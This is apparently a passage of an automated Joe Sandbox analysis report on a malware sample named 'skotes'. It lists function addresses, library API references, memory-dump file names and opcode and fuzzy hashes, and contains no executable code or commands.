Instruction Fuzzy Hash: 47E06D3514922696EB3932659D82B6FBA68DB923B0F161220FFA496190FB60DC0081E0

Function 00141775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00141B65,?,?,00000000,?,00141B65,00000000,0000000C), ref: 00141792

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 678d2a66dd54a3162495b2e1083aaafa474a3f4c547648bb6024cba3dda8bce0
Instruction ID: 7635368ce2fb3cbc88d002e2daf87adb9eb40de17a43eec8a22bba1ab4b6c032
Opcode Fuzzy Hash: 678d2a66dd54a3162495b2e1083aaafa474a3f4c547648bb6024cba3dda8bce0
Instruction Fuzzy Hash: 6FD0923215020DBBDF129E84DC02EEA3BAAFB88714F114110BE1866020C772F831AB94

Function 04960267 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3059716084.0000000004960000.00000040.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4960000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc1c346a17534e11f2bb43f1cfe51ffa6e66d319a22cdfbe7f13d474611205a5
Instruction ID: 81641adf9464421f63d40fc7e889883558fe8c634f49da38c57856f8322493fc
Opcode Fuzzy Hash: dc1c346a17534e11f2bb43f1cfe51ffa6e66d319a22cdfbe7f13d474611205a5
Instruction Fuzzy Hash: 031129E7108200BFB103D542AA51AFB7B6EEBD2770730C87AF04BD7206E5A559497172

Function 04960283 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3059716084.0000000004960000.00000040.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4960000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98b1f4291957a7874472b0dd97f23bc73739b4fdc80e9ccc36401dedb085bf72
Instruction ID: 1b87afc8300cc06d9c959bd2dbe6e7c58b6a9d3b5ea9b782e83924d93528655a
Opcode Fuzzy Hash: 98b1f4291957a7874472b0dd97f23bc73739b4fdc80e9ccc36401dedb085bf72
Instruction Fuzzy Hash: BF1106A7108210BFB103D586AB51AFB6B6EDBD2370730C876F44BD7206E1951A497172

Function 049602F9 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3059716084.0000000004960000.00000040.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4960000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67fbe7ba9939a043f7ace6495cf9961c0390b1978bcc96b8f83be153fb222d86
Instruction ID: a01b893188b0a4e6a43930d7229cf9787fdfd6e6bafadfe15407084a4a812d1e
Opcode Fuzzy Hash: 67fbe7ba9939a043f7ace6495cf9961c0390b1978bcc96b8f83be153fb222d86
Instruction Fuzzy Hash: 7C0125A7208200BFA102C486A650AF67A6FDAD3331730C836F04BD6205F1955E497172

Function 0496029B Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3059716084.0000000004960000.00000040.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4960000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e997a22dddf80b684366d51955dfc4a02b05447f3e0bc51648160f8bfc3a673
Instruction ID: 8fc595e5587473371eeac07a96e880f1b8300640b8ea834a2122dae7ae30b6cb
Opcode Fuzzy Hash: 2e997a22dddf80b684366d51955dfc4a02b05447f3e0bc51648160f8bfc3a673
Instruction Fuzzy Hash: 5E01D2A7208211BFB143D486AB50AF63A6FDAD3371730C87AF44BD3206F1965E497272

Function 049602B0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3059716084.0000000004960000.00000040.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4960000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecc54b6bb14a95d4d1212aa59f2695232e5ac47ba54c0049273fb7cd4a854884
Instruction ID: b3b6a282dd8c24c9675f02144e01751c6216270d4aa542a7aabe80ad2bb92fff
Opcode Fuzzy Hash: ecc54b6bb14a95d4d1212aa59f2695232e5ac47ba54c0049273fb7cd4a854884
Instruction Fuzzy Hash: 3801B5AB208201BFB102D586AB50AFB7B6FDBD3771731C876F047C7106E5A659497232

Function 049602C0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3059716084.0000000004960000.00000040.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4960000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fef881b39485c69b1a9228743f4b4d912547c49e19a788355dcba0236643c4b
Instruction ID: 6467162e725ba7d367123095d97aa67e4ca43540246b2c8b42d40d06f105c36e
Opcode Fuzzy Hash: 4fef881b39485c69b1a9228743f4b4d912547c49e19a788355dcba0236643c4b
Instruction Fuzzy Hash: 27012DF72082007FB142D4866B51DFA376FDAE2331330C476F447C7206E55149457231

Function 049602D8 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3059716084.0000000004960000.00000040.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4960000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a02b006c184d0586e47b1040c38f55c700afdd1bc69c1ca3d1fbf4151ff5a9e
Instruction ID: df102b3b5e5b7016008a2960caa818dbaf9930a69b57009c9635a4c0b7c1f808
Opcode Fuzzy Hash: 4a02b006c184d0586e47b1040c38f55c700afdd1bc69c1ca3d1fbf4151ff5a9e
Instruction Fuzzy Hash: 1401DDB720C1417FB206C556AA50DFA7B6FDAD3231339C4BAF047C7551E255590A7231

Function 04960312 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3059716084.0000000004960000.00000040.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4960000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd5422fbc0426267d78c826d44585217b701caeeca30590458d844b96f02b58c
Instruction ID: 66c466fd5475d6348932d074f5df830c14186c4dcf4da12249f4fbac842aa5d4
Opcode Fuzzy Hash: fd5422fbc0426267d78c826d44585217b701caeeca30590458d844b96f02b58c
Instruction Fuzzy Hash: A701F9E7248101BFB506D486BA50EFA3B6FDAD6771330C477F44BC7106E191594A7631

Function 0496036C Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3059716084.0000000004960000.00000040.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4960000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd09ca27433f30dec39c1076762dc304ca88f06c1f2568e9b8ca4fe849cccfc3
Instruction ID: c19ace7414dfed5b4c4abde890f525b08dd50a4bb4445c7f66de377aa2f58942
Opcode Fuzzy Hash: dd09ca27433f30dec39c1076762dc304ca88f06c1f2568e9b8ca4fe849cccfc3
Instruction Fuzzy Hash: A7E0263320C3009FA392E9FA524027A77E6BFA3331720843ED043C3040E566544AA222

Non-executed Functions

Function 00120E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00120F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00120F62

Part of subcall function 0012265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00122750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00120FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00120FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0012103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0012106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 001210C1

Strings

(, xrefs: 00120F22

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: c5fe0c89a22ff8eee2b4f8cc83da41b250c8c95f1e4a53e74b49331aa84d6685
Instruction ID: c3026f94b076aed8b4afbcf80de61c4ccad14e95b5363f4eecc93384ce04169b
Opcode Fuzzy Hash: c5fe0c89a22ff8eee2b4f8cc83da41b250c8c95f1e4a53e74b49331aa84d6685
Instruction Fuzzy Hash: 92B17F71A00625EFCB29CF68E990B7DB7B5FF58300F15816DE905AB641D330ADA0CB94

Function 00121602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00122CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00122D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00121614

Part of subcall function 00122E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00122E39
Part of subcall function 00122E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00122EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00121746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 001217A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 001217B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 001217ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0012180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0012181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00121823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0012183B

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 5ba3e6f65681f2e2fec27262c2dc4a7a1b92cc3d13802b5dcc8f18ac5dca0eec
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: E4817B71E00225AFCB19CFA8D594ABDB7F2FF98304B2546ADD445AB701C770AD62CB84

Function 0012EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0012EC81

Part of subcall function 00128F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00128F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0012ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0012ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0012ED0C

Part of subcall function 0012E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0012E7D7
Part of subcall function 0012E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0012E86F
Part of subcall function 0012E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0012E879
Part of subcall function 0012E7AF: Concurrency::location::_Assign.LIBCMT ref: 0012E8AD
Part of subcall function 0012E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0012E8B5

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
